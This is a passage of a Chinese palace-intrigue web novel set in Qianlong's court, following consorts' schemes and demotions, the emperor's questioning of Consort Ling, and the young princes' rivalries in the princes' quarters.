宫妃们在慎刑司审讯结果出来前都走了。 毕竟连令贵妃都不在了,这可是皇上宠妃,这滩浑水令贵妃都不想沾,见此,嘉妃和纯妃快快走人。 而剩下的舒嫔和愉嫔感觉不如她们俩敏锐,但连妃位都走光了,她们还不走等着惹祸上身吗,咸福宫和翊坤宫的热闹,是能被嫔位看的吗? 那肯定不能,于是翊坤宫很快只剩帝后和慧妃,以及正躺在床上的陆答应和娴妃。 因此高贵妃和陆贵人双双被贬之事传遍后宫后,其他人心里除了惊讶就是了然了。 原来是翊坤宫的算计。 可惜自食恶果。 陆答应是被慧妃几巴掌‘扇醒’的。 醒来后知道自己手段被摸清,而自己终生被禁足,脸色苍白。 怎么会这样,娴妃什么时候怀孕不好,偏偏这个时候。 她有种预感,她不该这样的,她该一步步在宫里站稳脚跟,成为众妃敬仰的高位,但她还没迈出一步,就被所有人看穿了,从此叫天天不应,叫地地不灵。 她可是全族人培养的希望,怎么能栽倒在这。 陆答应跪在慧妃面前,看着被她后来居上的林常在笑盈盈站在慧妃身边。 她知道,地位再次颠倒了,林常在还是慧妃的身边人,而她成为咸福宫的罪人。 但是,这又何妨,只要她活着,总有希望的。 哪怕踩着别人的尸骨! …… 翊坤宫,娴妃醒来后又哭又笑,哭自己终于有了孩子,笑自己躲过这一劫了。 但她也由此恨上了慧妃,若非慧妃算计,她的孩子险些就没了,好在慧妃得到报应了。 由贵妃贬做妃,多痛快人心的下场。 她当年是第一侧福晋,她都当不上贵妃,慧妃凭什么能当! 娴妃平息情绪后看向在她出事后唯一镇场的画屏,当时在扇陆氏巴掌时,画屏也是唯一一个劝她的奴才。 这般忠心耿耿且有能力的奴才,她并不吝啬给予更多的信任。 “画屏,你过来。” 顶着其他奴才羡慕的眼神,画屏心跳如雷走到娴妃娘娘面前。 她知道自己之前的表现被娴妃娘娘看在眼里了,放在娘娘出事之前得知娘娘有了身孕,她必然会不离不弃,可现在,不管娘娘有多大造化,她都不心动了。 她只想留在五公主身边伺候。 “娘、娘娘。”她声音有些发抖。 “怎么抖成这样?”娴妃看着她发抖的腿,倒不怀疑她是害怕自己,只觉得画屏是欣喜过甚,想到这,她放缓了语气,“激动什么,本宫在这里,还能少了你的赏?” “没有,娘娘。”画屏极力平复颤抖的手脚,“娘娘有何吩咐?” “你救了本宫孩子,本宫记在心里,你想要什么赏赐?” 这是她成为娴妃宫女后第一次被娴妃说出这种话。 按理说,她该高兴,但她清楚,她应下后,从此跟娴妃再也分不开了,而且她还得护着娴妃孩子生下来,若是龙嗣有了不妥,她就辜负了娴妃的重视,她下场不会好的。 画屏深深吸了一口气,“娘娘,奴才有一事相求。” “你说吧。”娴妃心情极好,并不在意她提条件。 “娘娘,奴才想伺候五公主!” 娴妃脸色变了,想伺候五公主不想伺候她了?画屏什么时候心里没了她这个主子。 “本宫还能再给你一次机会。” 念在画屏实在忠心耿耿,而她身边没有更忠心的了,她还能给画屏一次机会。 画屏顿了一下,知道开弓没有回头箭,“奴才只求这一个赏赐。” “好好好!”娴妃显然气极,“本宫成全你,你就留在五公主身边伺候吧。” 只是像过往一等宫女的待遇是不能了,等画屏受够了苦,自有回心转意求她的时候。 她这胎,交给谁都不放心,还是得画屏护着她。 “奴才多谢娘娘。” 画屏松了口气,只要娴妃娘娘愿意松口就好,她不过一个奴才,伺候谁还不是一样的伺候,她实在怕了那种担惊受怕的感觉了。 五公主是个好主子,虽年幼,但经历这么多事,知道谁对她好,会护着她。 娴妃看着画屏告退,脸色难看。 在她无宠无子时,画屏都能不离不弃忠心耿耿,为何等到她有子后,画屏却要弃她而去。 而她身边这些奴才,遇到事情时一个个都派不上用场,在她有孕时,蜂拥而上。 宫女静影安慰道:“娘娘,奴才好几次看到画屏姐姐去寻五公主,这次来迟了没拦下娘娘便是因哄五公主睡觉,画屏姐姐心里必然是过意不去,觉得自己没资格在伺候娘娘了。” 娴妃心里肯定不会觉得自己有错的,即便难得反省,也反省不出任何问题,这会儿得知画屏没拦下她是因为五公主,加上画屏前不久说的话,她反应过来了,画屏是早就想投靠五公主了。 若非如此,她也不会因画屏的不及时阻拦而打了陆氏一巴掌,从而中了陆氏算计,让皇上险些害了她的骨肉,说到底,是画屏心存异心了。 罢了,哪有主子求奴才的道理,她能容忍画屏心存异心就算她这个做主子的宽厚了。 娴妃审视发声的宫女,“你叫静影?以后就跟在本宫身边吧。” 静影心里一喜,“是,娘娘。” …… 乾清宫,御案上放着从翊坤宫奴才处审来的口供。 乾隆看了数遍,从娴妃妄图说动婉嫔,到慧妃派人对娴妃动手。 这中间,不可能什么事都没发生,想起紫菀所说,皇帝心里有些顾忌了。 万一查到最后,不是自己愿意看到的事实,万一这真的跟紫菀有关,他还是别查下去了。 皇帝似是赌气般将东西摔得老远,又突然站起来,他直接问了紫菀,总比一直蒙在鼓里好。 “摆驾储秀宫。” 第63章 第63章特成额 “妾身给万岁爷请安,万岁爷吉祥康泰。” “贵妃起来吧。”皇帝不似过往将令贵妃扶起来,直接进正殿坐下。 魏紫菀松了口气,将情绪发泄出来总比把怀疑藏在心里好,皇帝的怀疑,那可不是正常人能消受的。 她跟过去,让其他人退下,毫不见外道:“万岁爷这是怎么了?是在跟妾身置气?” 乾隆没好气,“朕怎么好跟你置气,朕从头到尾都被蒙在鼓里,什么都不知,眼睁睁看着旁人在朕面前上演一出出好戏,紫菀,你说朕这般信你,你怎好有 事瞒着朕!” “妾身什么时候瞒着万岁爷了,万岁爷怎能说话不讲理。” 魏紫菀给他倒了杯三清茶,三清茶以“清香、清醇、清澈”闻名,共聚三清,用熬过凌寒绽放的梅花、松子仁及谐音“福寿”的佛手柑制作而成,是皇帝独创的养生茶,正好让他清清火气。 “没有事瞒着朕?那你说娴妃送你的定窑白釉孩儿枕,娴妃同婉嫔说的那些话怎么传到慧妃宫里。” 陆氏以皇太后所赐之物做借口,兴许是慧妃跟紫菀做配合刺激娴妃了。 乾隆定定看着她,誓要问出个答案。 魏紫菀知道这事乍一看之下跟自己没关系,但却巧合地跟自己从哪方面都扯得上关系。 在宫里没有巧合一说,万岁爷没有将怀疑憋在心里,就是好事,不然她哪天得罪万岁爷了,被万岁爷一点点记仇,记得多了,就是慧妃和娴妃现在的模样,皇上说贬位就贬位,说踢人就踢人,那是毫不客气的。 不过皇帝动手这点暂且能放心,娴妃和瑞常在被踢,是因她们动手在先,除此之外,旁人惹出再大祸,都不见皇帝多看一眼,换句话说,皇帝的脾气是对准动辄打骂的妃子的。 “这话怎么好跟万岁爷说。” “怎么就不好了?紫菀,你说说朕跟你夫妻多年,朕怎么就不能知道了,你还能有什么瞒着朕。” “妾身还真不好说,妾身看万岁爷盛怒,万一妾身说出来,万岁爷怪罪妾身好妒,又该怎么办?” “朕何时对你盛怒……?好妒?紫菀,你在说什么?” 乾隆感觉自己好似一句话都听不懂了,紫菀什么时候妒过了,每次大选都不见她难受,上回还一直盯着秀女,妄图看清秀女模样,比他当皇帝的还看重女子容貌。 呵,可惜那次选秀他只给了永璋选嫡福晋和侧福晋,没有入宫的女子,就连婉嫔和颖贵人等留在储秀宫的妃子都是容貌不显的。 魏紫菀笑盈盈坐在他腿上,“万岁爷既然知道娴妃对婉嫔说的那些话,那自然清楚婉嫔将这话如数告知妾身了,娴妃想要争妾身恩宠,又想拉拢婉嫔算计妾身,妾身又不是毫无脾气之人,怎么不会耍小心眼让娴妃不舒服了。” 乾隆顺着她思路想下去,的确如此,紫菀在乎他才会反手算计娴妃—— “那咸福宫也是你说动的?” 皇帝没忘了正事,如果说这事紫菀是开端,他谈不上生气,毕竟动手之人是慧妃和陆氏,紫菀只想戏弄娴妃,没动坏心思,但是这事一直瞒着他就不对了。 “什么说动?”魏紫菀表现得比他还茫然,“万岁爷不是知道了妾身故意耍娴妃,对她送来的礼拒之不受,专门盯上了皇太后所赐的定窑白釉孩儿枕吗?万岁爷不是在跟妾身说这个?上回万岁爷说不怪妾身是在糊弄妾身的?” 她反手将疑问抛给皇帝。 皇帝沉默了,意识到自己可能想歪了,转移话题道:“没有糊弄你,娴妃是她自己不重视皇额娘所赐,她给了你的就是你的了。” “万岁爷别跟妾身打岔,万岁爷先前说的娴妃婉嫔说的话传到慧妃宫里,是在怀疑妾身吧?”魏紫菀认真看着他,皇上怎么能怀疑她,是皇后传的消息,她只是将消息传给皇后罢了。 虽然这事还是她为导火索,但传话的人不是她,是皇后!皇上弄错前因后果也就算了,还想将锅扣在她头上。 这世间还有比她更冤枉的人了吗? 没有了! “朕、朕——”皇帝对上令贵妃的振振有词越发词穷了。 “皇上怀疑什么都别怀疑妾身跟慧妃关系,妾身跟嘉妃纯妃舒嫔她们都处得不错,不信万岁爷去打听,妾身对储秀宫宫人都没忘了用自己银子补贴,像妾身这么好的主位,妾身在宫里怎么可能人缘不好!可是——” “万岁爷别忘了,妾身是有脾性的,妾身实在跟慧妃处不来,这会儿还多出一个娴妃,妾身怎么可能对处不来的宫妃抱着好脸色,万岁爷您就算怀疑妾身排除异己,也不能怀疑妾身跟慧妃结盟啊,这不好笑。” 她眉头紧皱,对这等荒诞之话敬谢不敏。 “你跟朕说这些话就不怕朕说你脾气大了?”皇帝这会儿不生气了,饶有兴致问她。 魏紫菀更奇怪了,不是他不要任何事都瞒着他吗?皇帝脾气有时候真古怪。 “万岁爷跟妾身需要见外吗?当然,万岁爷就算跟妾身不见外,也别跟妾身说起朝廷之事,后宫不可干政,后宫之事,有时候能说说,但是皇后娘娘乃中宫之主,皇后娘娘之下还有纯妃妹妹和嘉妃妹妹,再不济还有慧妃和娴妃,四妃已满,万岁爷有什么要事尽管吩咐她们,妾身身子弱,操劳不得。” 乾隆又气又好笑,“只字不提你是吧。” 魏紫菀不看他,“妾身身子弱,操劳坏了谁陪圆寿公公说话。” 又在调笑朕。 “你再说一句。” “妾身身子弱——啊。” 皇帝欺身而上,不怀好意看着她。 魏紫菀躺在榻上,左看右看都没人,才想起其他人都散开了,只好举起双手,“妾身投降。” …… 《老子》有句话是这么说的‘祸兮福之所倚,福兮祸之所伏’,皇后没想到笃定的祸事会变成一件好事。 万岁爷没有查到长春宫,还将她忌惮的高氏贬位了,折了高氏的左膀右臂。 只是也有一件坏事发生了,娴妃有孕了。 皇后有一种很强烈的直觉,娴妃怀的这胎会是个阿哥,没有理由,就凭现在宫里的皇子多过公主,宫妃们怀孕生下阿哥的几率更高,而且娴妃运气真不是吹的。 那样的局面都能挽回。 说来也奇怪,娴妃初进府就是第一侧福晋,身份比由使女晋升侧福晋的高氏好太多了,但是屡屡被人后来居上,就娴妃这样不争不抢的性子,现在居然还能稳坐妃位,在注定要栽了时,肚子里的孩子救了她一命。 皇后不得不猜疑娴妃身上是不是有些运道,甚至身上的运道不比生下龙凤胎的慧妃差。 不过总体来说,皇后对现在的局面挺满意的,当初的两位潜邸侧妃现在都是妃位了,四妃刚刚凑满,将底下妃子往上爬的道路堵住了。 至于四妃会不会觊觎仅剩的贵妃位,觊觎也没用,慧妃是因做错事被贬位,要是复位了,不就代表这事在万岁爷心里过眼云烟,这不可能,万岁爷最喜欢记仇了,而且还喜欢将事情憋在心里,等着秋后算账。 娴妃也不用多说,当初没有,现在更不可能。 而纯妃和嘉妃都是潜邸格格,哪有潜邸格格越过潜邸侧妃的道理。 往后进宫的新人们要争只能争嫔位,而嫔位也不多了,只剩三个。 皇后不用细想就知道往后宫中不会出现像舒嫔这样家世极其不错的满洲贵女了,就算偶尔真有意外,就看有多得宠,能不能让皇上破例,如同令贵妃初封就是妃位。 但那时,该愁的是令贵妃,不是她。 “冬菊,你说娴妃这胎本宫该如何是好?” 就像慧妃那胎,皇后同样动了做掉的心思。 冬菊摇头,“娘娘,万岁爷查得严,咱们不能动手。” 万岁爷对娘娘不似过往信任了,任何被万岁爷看重的事,娘娘都不能做。 皇后叹道:“只能 等娴妃生下这胎了。” 是皇子还是公主根本无从说起,慧妃经此一事,没胆子再算计娴妃了,贵妃明哲保身,从不在意宫里有谁生下孩子,仔细想来,她手上一个可用的人手都没有。 万岁爷又不许皇后亲人进宫为妃,下次大选她得培养自己人了。 …… 咸福宫,慧妃嘴角抿平,“孔嬷嬷,永璇就交给你了。” “是,奴才必然不辜负主子重视。”孔嬷嬷跟在永璇身后,毕恭毕敬道。 永璇道:“额娘放心,儿子会照顾好自己的,额娘保重身子。” 永璇除了担心额娘受贬位之事影响,但能搬到阿哥所,他本质上挺开心的,能跟七哥他们一起读书嬉闹,就是他在认识七哥后就一直期待的事了。 如今梦想成真,虽说愿望实现的过程对不住额娘,但他是真的很想跟兄弟们在一起。 永璇知道额娘算计娴额娘是为了自己和妹妹,可是这种事是不好的,他不愿看到额娘执迷不悟,或许他和妹妹跟额娘分开住了,额娘不再时常看到他们,才会醒悟过来吧。 再说了,他都是大孩子了,怎么还跟额娘一起住,于额娘名声不好啊。 林林总总的原因导致永璇离开时,根本没有伤感,走得极快。 慧妃还想跟儿子说说心里话,儿子转头就走,她无奈叹气,“永璇怎么走得这样快,好在有孔嬷嬷跟着她。” 林常在在旁欲言又止,她怎么觉得孔嬷嬷看八阿哥眼神不对劲,作为一个奴才,跟八阿哥感情太好了。 只是她才刚复宠回到慧妃身边,慧妃这些年对孔嬷嬷十分倚重,她敢说孔嬷嬷坏话,她得是下一个陆答应了,不过仔细想想,这事或许是她想多了,八阿哥和四公主的身体好起来少不了孔嬷嬷的用心。 孔嬷嬷算是两位小主子的恩人了,感情好点又算什么。 “可惜和嘉太早抱到寿康宫了,不然今日本宫还能送送和嘉。” 慧妃叹气,打算过几日去看女儿,谦太妃刚抚养她女儿,她转眼就迫不及待去看女儿,岂不是对谦太妃不放心,即便真的不放心,为了她女儿过得好,她也不能这么做。 不过皇太后、裕贵太妃都抱养了孙女,想来谦太妃也会念着有个孙女常伴身边吧,她勉强能放心谦太妃抚养女儿。 林常在笑道,“娘娘何必记挂,阿哥公主们并非是离了娘娘。” “你说的也是,本宫总不能一直管着他们。” 慧妃清楚即便没有皇上发话,她这半年里也得将永璇送去阿哥所,七年男女不同席,即便她跟永璇是母子,她还是万岁爷妃子,方方面面都得注意。 …… 寿康宫,谦太妃压低声音,“和嘉睡了?” 金桃点头,“公主刚睡下。” “睡了好啊,睡了就不必惦记慧妃了。” 谦太妃说着自己也累了,打了个哈欠,“哀家也乏了,等哀家醒了,就将和嘉带到裕姐姐和太后娘娘跟前,让她们祖孙几个认认眼。” 金桃忍俊不禁,“太妃娘娘,两位娘娘又不是认不得和嘉公主。” “那是两码事。”谦太妃眉心皱着,“她们一个两个虽没说抱养公主,可哪个不是时常留着公主过夜,令贵妃想见到她两个女儿,还得是两位公主想额娘时。就哀家一个人没抱养孙女,这回轮到哀家了,也得让她们仔仔细细看看和嘉了。和嘉跟她们平时看到的和嘉没区别,但和嘉现在归哀家抚养了。” “那是得好好跟两位娘娘说说。” 谦太妃眼角眉梢全是得意,只是心里还是有一种无法言说的难受,她儿子过继出去了,儿子不再是她的儿子,这满后宫的子嗣都不是她嫡亲的子孙。 唯一算好运的是她嫡亲孙女兜兜转转还是进了皇宫当公主,将来能叫她一声玛嬷,她在这皇宫之中,也算是有亲人陪伴了。 她现在好好抚养和嘉,将来皇上得看在她养育之恩的份上,给她嫡亲的孙女选一个好夫婿,她不求孙女留京,裕姐姐的孙女都没法逃过这个命运,她只求孙女婿会对她孙女好。 只要人品不差,让她孙女有个孩子傍身,日后是生是死都不是事。 谦太妃倒也看的明白,这抚蒙的公主,若是丈夫早死,自身有儿子傍身,日后必然能长命百岁。 …… 魏紫菀起来时外边还阴沉沉一片,问了下时辰,已是翌日寅时三刻。 “本宫起的可真早。”她心里嘀咕着,瞥了眼身边人。 皇帝现在还在睡,不过估计没多久,就得起身准备早朝之事了。 魏紫菀小心翼翼下地更衣洗漱,坐在桌子旁拾起本话本翻看着。 好多年前她并不爱看这些由读书人写出的故事,不是英雄救美就是佳人爱才子,这些故事在她眼中或许有真,但更多的是无稽之谈,试问富贵人家的小姐会看上穷书生?连接触的机会都没有吧。 即便真被对方三言两语迷惑了,那小姐的爹娘兄弟又不是干摆着的。 但是将这故事放在她和皇帝身上,她确确实实靠皇帝逆天改命了,孩子生下来不是包衣奴才,是皇子阿哥,她对这类故事容忍度就比较高了,谁还没个想象,只要不干伤天害理、过河拆桥之事就好。 久而久之,不带入其中,单纯看剧情倒看出几分兴致来。 “娘娘,和静公主过来了。”子衿压低声音。 魏紫菀放下话本,随她走出正殿,“怎么这般早。” 青柳手中抱着一个昏昏欲睡的胖娃娃,魏紫菀接手,和静迷迷糊糊看了眼,是额娘,就放心睡了。 青柳低声道:“今早和静公主醒来后突然哭着要额娘,裕贵太妃没了办法,只得抱公主回来。” “怎么哭成这样了。”魏紫菀摸着孩子泛红的小脸,实在心疼。 这些日子也怪她疏忽了四个孩子,只是裕贵太妃帮她一把,想抚养她女儿,她不能翻脸不认人,皇太后那就更不用说了,抱养她女儿还是她的荣幸,为了女儿日后能留京,这些付出在她眼里是值得的。 她宁可牺牲陪伴孩子的时光,也不要孩子日后出现在她永远看不见的地方早早逝世。 但是对她年幼的孩子来说,亲近的额娘不经常见到了,确实会担惊受怕,她日后去寿康宫的次数得频繁些了,哪怕两位娘娘会恼她,她多做些讨巧的事吧。 魏紫菀抱着大女儿进正殿,孩子因姿势的变动又睁开眼睛迷迷糊糊道:“额娘。” “和静乖,额娘在。” 孩子听到这话,小手仍紧紧抓着额娘衣襟,但放心沉沉入睡了。 魏紫菀将大女儿小心放在万岁爷身边,她这起床更衣又抱孩子过来的,这么多动作,皇帝早就察觉到了,只是他还困着,对爱妃也算信任,便继续入睡。 皇帝睡姿挺好的,经常一晚上保持一个动作不变,但刚将女儿放下,皇帝便一只手搭过去了。 魏紫菀后知后觉,“万岁爷,您醒了吧?” 这会儿本就是皇帝醒来的时辰,若说她活动半天,万岁爷还没发现,就对不住万岁爷打小练武的身子了。 果然,她话音刚落,乾隆便睁开眼睛看她,满眼笑意,望身旁一看,和静正睡着呢,他颇有些惊奇撑起身子,起身时不小心被子歪了,他又重新给孩子盖回去。 “和静怎么这么早过来。” “她还是个孩子,想额娘很正常,即便是妾身这么大了,有时候也会想娘家的额娘。”以及现代的家人。 “朕改日让你额娘进宫看你吧。”皇帝后知后觉自己确实太久没让紫菀见到她娘家人了。 “不光是妾身额娘,妾身还想见妾身大嫂和二嫂。” 魏紫菀一双清凌凌的眸子温柔又直白地看着他,乾隆屈指敲了一下她额头,“你最惯得寸进尺了。” “那万岁爷是应还是不应?妾身知道弘历是世上最好的夫君了。” 这下倒不好不应了。 皇帝为了挽回尊严,特地补充一句,“仅此一次,下不为例。” “妾身就知道万岁爷最好了。” 魏紫菀坐在床上,温柔地看着和静,“万岁爷,不知何时这钮祜禄氏的特成额进宫,好让妾身看一眼是什么样的男儿。” : “不过是同和静差不多大的稚儿。”乾隆不大看得 顺眼和静的未来额驸,不过一个小孩,将来什么造化都不知,说不定长大后华而不实,是个银样镴鎗头,到时他就得换个女婿了。 他不缺女婿。 他女儿不多,京中不知多少人家盼着尚公主了,可惜不成,他怎会随意指婚。 他的女儿必然得千挑万选寻得一个家世人品皆不错的男儿。 “万岁爷,这叫知根知底,让特成额做了永琮或是永璐的伴读,日后和静接触特成额时就有了借口,若是性子不合,便换人,又不是差了他这个伴读。” “言之有理。”皇帝反应过来了,当初用在和敬额驸上的法子还可照搬啊,尽管当时他是选定了和敬额驸,将女婿放在永琏身边当伴读是为了培养感情,但不代表他不能将特成额放在永琮身边当伴读,若是不行,那就换下个,反正他又没有下旨赐婚,谈不上违背君言。 于是不久后,一个四岁孩童被打包送进宫里。 特成额懵懵懂懂看着四周红墙黄瓦,小脑袋忆起阿玛额娘哥哥姐姐在自己出发前的叮嘱。 要听七阿哥吩咐。 要好好在娘娘和和静公主面前表现。 要吃好喝好长成一副好身子,看着壮实! 要…… 家里人说得太多了,小家伙只勉强记了前面几条,要上进,当个文武双全的好男儿。 他摸了摸自己柔软的小肚子,挺了挺,又收缩了下。 好像文武双全的好男儿是没有小肚子的。 他再努力收缩了下,小肚子缩起来了,但是他要喘不过气了。 他大口大口地喘着气。 永琮走到他面前,“你就是小爷的伴读,怎么喘成这样?” 永璐看他喘得厉害,便将小皮壶递过去,“你慢慢喝,我哥又不会渴了你的。” 特成额小手抓着小皮壶,神色愣愣的。 永瑆就喜欢他这种傻愣愣的模样! 八哥自打来到阿哥所得知他们结义三兄弟的关系后,不愿意做他小弟,非得当他哥! 他实在没了办法,总不能强行让他八哥当他小弟吧,要是传出去,皇阿玛会说他离经叛道的。 不过这会儿来了个跟他差不多大的孩童。 他可以真正有个小弟了。 永瑆郑重其事握着特成额双手,激动道:“小弟!” 第64章 第64章西林觉罗氏 特成额就更懵了,刚过来就不知不觉成了永瑆的小弟。 好在永琮立马拍着永瑆肩膀,“好了,十一弟,这是七哥伴读,你欺负他做什么。” 永瑆无辜道:“可是七哥,我都没有小弟了。” “可是我们要小弟做什么?”永琮懵了,这宫里不是有奴才吗,为什么还要特地找小弟。 “不一样的。”永瑆说不出哪里不一样,但是他感觉小弟是能推心置腹的,跟在他身后的卫云敬不一样。 “怎么不一样了?” 永琮拉着弟弟到屋里讲话,“你跟七哥说清楚,七哥帮你想想办法。” 七哥身姿如青竹般挺拔,抬起的眉眼清澈如水,无论从哪个方位来看,都带着种惊心动魄但温润如玉的如沐春风感,现在七哥还没长大,等长大了一定更好看! 永瑆本来还别扭着的小心思这下不继续藏着掖着了,七哥在关心他,他有什么不好说的! 他立马小声道:“七哥,你有九哥做小弟,九哥有我做小弟,我没有小弟了。” 永琮愣住了,“小弟这么重要吗?我也没说九弟是我小弟啊,他是我亲兄弟,你也是我亲兄弟,你忘了我们是结义兄弟吗,比亲兄弟还亲的兄弟!” “可是七哥明明跟九哥更亲近,九哥也更喜欢七哥。” 永瑆嘴巴撅起,听到这话,永琮赶紧将九弟也拉过来,“咱们三兄弟得推心置腹好好交谈了。” “九弟,十一弟,你们都是我的好弟弟。” “都一样的吗,我以后也能是七哥最好的弟弟吗?” 永璐皱眉,“我才是七哥最好的弟弟。” “好了好了,你们都是我最好的弟弟。”永琮急着将两碗水端平,他不明白为什么最好的弟弟这个身份也有人争,不都是弟弟吗,就好像他刚出生就要给大哥三姐三哥四哥五哥六哥他们当弟弟一样。 弟弟有什么好争的,要争就争当哥哥啊。 “不行,七哥,你必须选出我们谁才是你最喜欢的弟弟。” 永璐鼓起腮帮子,他可是七哥的亲弟弟。 “七哥,我才是你最喜欢的弟弟对不对。”永瑆嘴巴一瘪,眼泪在眼眶里打转。 永琮更无措了,学着额娘模样,拍拍两个弟弟肩膀。 对永璐说,“你是我从小到大的好弟弟。” 对永瑆说,“你是我在阿哥所结识的最好的弟弟。” 都是他喜欢的弟弟,所以别吵架啦。 两句话让两小只满意了。 但永瑆还是有些别扭地问道:“可是八哥要加入我们,七哥是不是也将八哥当成最好的弟弟。” 永璐也期待他这个回答,看十一弟哭的可怜巴巴,他就允许十一弟跟他一起成为七哥最好的弟弟了,反正他和七哥才是额娘的儿子,十一弟跟额娘没有关系。 他和七哥比十一弟跟七哥更要好一点。 “那肯定不!”永琮拍了拍胸膛,“我们三可是结义兄弟,有福同享有难同当!” 永琮心里补充一句,要是八弟也问他是不是最要好的弟弟,那他就说八弟是他在咸福宫认识的最好的弟弟了。 反正咸福宫只有八弟一个弟弟。 “七哥!” “七哥。” 两兄弟一左一右抱着永琮,永琮挠了挠脸颊,只觉得当一个好哥哥好辛苦哦,但是抱着两个沉甸甸的弟弟,当哥哥的感觉也是挺好的。 瞧他两个弟弟多乖啊。 永璐口齿伶俐,文武双全!尊敬兄长孝顺额娘,是让他骄傲的好弟弟。 永瑆年纪小还看不出别的,但永瑆大字练得特别好,夫子都说他有天赋,就是平时特别喜欢银子。 但不要紧,以后他会挣好多银子养额娘养弟弟养妹妹的! …… 永琮小小年纪就在阿哥所形成了自己的班底,好在他年纪小,不至于将自己魅力到处挥洒,顶多就两个好弟弟,偶尔还有个眼巴巴的八弟凑过来。 但就这三个弟弟跟前跟后舍不得离身的模样,就让永珹叹为观止了。 永璋成亲出宫后,永珹就是阿哥所年纪最大的阿哥了,即便平日里性子不稳重,对上众多弟弟信赖的目光,他不稳重也得稳重。 况且永珹还想趁着三哥不在时,让五弟六弟七弟八弟九弟十一弟他们对他这个哥哥另眼相待! 但是有七弟在,几乎所有弟弟的目光都被他牵走了。 “你这小子,可真是招蜂惹蝶啊。”永珹恨恨地揉了揉永琮的头发,永琮嘟囔着,“四哥,你干嘛要揉我头。” “我是你哥,连摸摸你都不准了?” “也没有,那你摸吧。”见四哥实在可怜,永琮将手放下。 这回永珹拍了拍他脑袋,“瞧你小小年纪就这般招人喜欢,日后若是有很多女子喜欢你,那还得了。” 永琮鼓着腮帮子,“我只喜欢我福晋!” “哟,你还没娶你媳妇,你就说只喜欢你福晋了。” “那当然!”永琮骄傲道:“额娘说,我将来要是喜欢女子,那肯定要喜欢我福晋,大哥三哥他们也最喜欢嫂嫂了。” “哼哼。”永珹捏了他还带着婴儿肥的脸蛋,“这话倒是不错。” 永珹虽为皇子阿哥,却更清楚身 处皇家,真情最难得,跟自己相处一辈子的枕边人一定要好好敬着。 “话说回来,三哥成亲这么久了,也没听到他说要带我们这些弟弟见见嫂嫂。” 永珹摸着下巴,当年大哥成亲后可是特地将大嫂带到他们面前认过脸的,但轮到三哥,也不知何时才见到三嫂,三哥平日除了上朝下朝,基本不见他出来跟他们兄弟聚聚了。 “四哥,三哥不出现,咱们主动找三哥啊。”永琮揉了揉脸蛋,四哥掐他的脸好用力,还往两边扯,要是扯坏了,他就不是额娘心目中最英俊好看的小阿哥了。 “说的也是。”永珹本就是个跳脱的性子,“不如这样好了,永琮你带头,四哥跟着你走。” 永琮狐疑地看了他一眼,“四哥你拿我做挡箭牌就直说吧。” 永珹毫不心虚,“那你准不准?” “不准!”永琮继续揉脸蛋,“爷就说说,三哥过的好好的,干嘛去打扰他。” 况且他不想皇阿玛生气,额娘将两个妹妹送去寿康宫了,他作为储秀宫最大的孩子,他也该护住额娘和妹妹了。 额娘跟他说过,特成额将会是六妹未来的额驸,他作为哥哥会好好看这小子的。 他要快快长大,直到能在朝廷办差,他想尽快立下功劳,让皇阿玛将七妹留京。 他们一家人得团团圆圆的。 …… 三皇子府上,自从三爷将侧福晋迎进门后,一个月有二十次去往后院,那就有十五次待在侧福晋西林觉罗氏处,剩下五次有三次去嫡福晋正院,两次去两个使女屋里。 若非有其他妻妾,侧福晋就是一进门独宠的程度。 偏偏侧福晋肚子也争气,不过一个月便诊出身孕,算算日子是洞房喜,三爷就更高兴了,去侧福晋屋里的日子越来越多,便是嫡福晋大权在握,这后院奴才哪个不是赶着恭维侧福晋的。 毕竟嫡福晋再强势,三爷不甚看重也没用。 嫡福晋辉发那拉氏并非心性多坚韧之人,当初成婚前的种种猜疑都成真了,三爷真的更看重西林觉罗氏,不将她放在心上。 看着三爷日日往侧院去,她心里复杂难言,只得安慰自己,若是日后她有了孩子,即便侧福晋有子,也还是嫡子继承爵位,何况以西林觉罗氏的身份,本该当上侧福晋的人是她才对。 若是西林觉罗氏为嫡福晋,她为侧福晋,她连身为正室的尊荣都没了,何必贪心更多。 她也贪心不来,只能盼着宫里的姑母生下皇子,三爷能看在姑母和表弟份上,多去她院里。 侧福晋对后院局面还算满意,等她生下大阿哥后,她与嫡福晋井水不犯河水,各过各的,也算安生。 只要继承爵位的是她儿子,西林觉罗氏逊于辉发那拉氏为妾一事可扳回一局,毕竟大多嫁给皇子的嫡福晋,即便生下嫡子,也少有顺利继承爵位的。 而她即便为妾,她的儿子为世子爷,家族底气又回来了。 “侧福晋,等三爷下朝了,必然快快回来看您。” 西林觉罗氏忍俊不禁:“皇阿玛倚重三爷,我还巴不得三爷忙活久一点。” 说句不中听的,当朝皇子阿哥还是光头阿哥,万岁爷对宫妃位份不吝啬,对子嗣爵位还紧紧抓在手中,不肯放权。 三爷将来能不能封王爷,决定了她儿子继承的是郡王爵位还是贝勒爵位。 “侧福晋,奴才是过来人。”嬷嬷脸上满是笑意,“奴才跟您说句不敬的话,这男人啊,在您怀着身孕时还惦记着您,就证明心里有您,不然女子有孕时模样总不如没有孩子时好看,若是贪色的男人,必然早去别的妾室屋里了。” 西林觉罗氏沉思,这话确实有道理,趁三爷心里有她,她就别推走三爷了,若是有人趁她怀孕时怀上身孕,那就白做嫁衣了。 这后院的女人受宠次数不多,但也是实实在在的三爷妻妾,三爷总会去看她们的。 “嬷嬷有何高见?” “侧福晋谬赞了,奴才倒是有一主意。”嬷嬷凑过去,细细嘱咐。 西林觉罗氏若有所思,“就按嬷嬷说的来吧。” 她说的淡定,但当嬷嬷真拿出那本房中术时,她的脸却红得如同煮熟了的虾,挨着那本书的手都觉得滚烫发热。 “怎、怎么这般直接?三爷当真会喜欢?” 第65章 第65章赔了夫人又折兵 嬷嬷恨铁不成钢,“侧福晋,您都是过来人了,何必觉得害羞,正院那边得端着身子,您可不用,这做妾的,必然得让主子爷欢心,您光是有孕生下大阿哥还不成,甭管您生下多少个阿哥,一旦遇上正院生下一个嫡子,您的阿哥就别想成为世子爷,您要想流着西林觉罗氏血脉的子嗣继承三爷这一脉,您就得牢牢抓住三爷的心。” 嬷嬷是西林觉罗氏家族特地派来的下人,说句糙点的话,若不是永璋表现得十分看重西林觉罗氏,就家族嫡系出现一个当妾的贵女,家族早就放弃她了。 西林觉罗氏心里有些难受,这些东西当妾的才学,家族本来也不教她这个的,可现在她的身份就是妾,当妾要有当妾的觉悟,便是放下身段,别肖想当妻子的地位尊严。 她深深吸了口气,“好,我学。” 